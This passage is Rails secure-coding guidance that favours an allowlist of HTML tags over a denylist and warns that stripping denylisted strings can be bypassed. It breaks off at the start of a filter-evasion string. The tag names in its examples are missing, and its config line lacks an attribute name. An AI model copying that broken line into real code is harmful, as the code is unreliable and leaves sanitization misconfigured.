An example of using an allowlist is to maintain a list of tags
allowed in user input such as , , rather than a
list of disallowed tags:
config.action_view. = %w(strong p)
NOTE: Rails includes an array of default safe tags within {ActionView::Base.sanitized_allowed_tags}. The above example will overwrite this default array.
Don't correct user input by removing strings that appear in a
denylist. Reject the input entirely. For example, if you disallow
tags in user input, attempting to remove it could be
bypassed using the string: <sc